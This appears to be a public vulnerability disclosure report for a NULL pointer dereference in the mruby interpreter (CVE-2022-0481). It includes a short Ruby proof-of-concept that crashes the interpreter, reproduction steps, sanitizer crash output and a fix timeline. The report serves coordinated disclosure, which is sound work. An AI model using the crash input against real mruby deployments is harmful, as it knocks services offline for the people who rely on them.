NULL Pointer Dereference in mruby/mruby

3

Valid Reported on Jan 31st 2022

Description

There is a NULL Pointer Dereference in iv_free (`src/variable.c:232:20`). This bug has been found on mruby lastest commit (hash `00f2b74ab2c1f03084908c815dcd0934f9fc702a`) on Ubuntu 20.04 for x86_64/amd64.

Proof of Concept

```
3.times{e=0,"#{* =c={}
[y:0,**0]
0}"}
```

Steps to reproduce

1- Clone repo and build with ASAN using MRUBY_CONFIG=build_config/clang-asan.rb rake 2- Use mruby to execute the poc:

```
$ echo -ne "My50aW1lc3tlPTAsIiN7KiA9Yz17fQpbeTowLCoqMF0KMH0ifQ==" | base64
$ mruby poc
/home/faraday/mruby/src/variable.c:232:20: runtime error: member access wit
0x000000000001: note: pointer points here
<memory cannot be printed>
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /home/faraday/mruby
/home/faraday/mruby/src/variable.c:232:20: runtime error: load of misaligne
0x000000000009: note: pointer points here
<memory cannot be printed>
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /home/faraday/mruby
AddressSanitizer:DEADLYSIGNAL
=================================================================
==77626==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000009 (p
```

```
==77626==The signal is caused by a READ memory access.
==77626==Hint: address points to the zero page.
    #0 0x7e9574 in iv_free /home/faraday/mruby/src/variable.c:232:20

    #1 0x7e9574 in mrb_gc_free_iv /home/faraday/mruby/src/variable.c:278:5
    #2 0x5efb1a in obj_free /home/faraday/mruby/src/gc.c:856:5
    #3 0x5e26a5 in free_heap /home/faraday/mruby/src/gc.c:433:9
    #4 0x5e26a5 in mrb_gc_destroy /home/faraday/mruby/src/gc.c:442:3
    #5 0x63e1de in mrb_close /home/faraday/mruby/src/state.c:195:3
    #6 0x4cb74a in main /home/faraday/mruby/mrbgems/mruby-bin-mruby/tools/m
    #7 0x7fbe060530b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/c
    #8 0x41f89d in _start (/home/faraday/mruby/build/host/bin/mruby+0x41f89

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/faraday/mruby/src/variable.c:232:20 i
==77626==ABORTING
```

Running the same script with a release build (without asan) results in a segfault due to the invalid dereference.

Impact

This vulnerability is capable of making the mruby interpreter crash, thus affecting the availability of the system.

Acknowledgements

This bug was found by Octavio Gianatiempo (ogianatiempo@faradaysec.com) and Octavio Galland (ogalland@faradaysec.com) from Faraday Research Team.

CVE
CVE-2022-0481
(Published)

Vulnerability Type
CWE-476: NULL Pointer Dereference

Severity
Medium (5.5)

Visibility
Public

Public

Status
Fixed

Found by

octaviogalland
@octaviogalland
unranked

Fixed by

Yukihiro "Matz" Matsumoto
@matz
maintainer

This report was seen 415 times.

We are processing your report and will contact the **mruby** team within 24 hours. 10 months ago

We have contacted a member of the **mruby** team and are waiting to hear back 10 months ago

Yukihiro "Matz" Matsumoto validated this vulnerability 10 months ago

octaviogalland has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Yukihiro "Matz" Matsumoto marked this as fixed in **3.2** with commit **ae3c99** 10 months ago

Yukihiro "Matz" Matsumoto has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

Sign in to join this conversation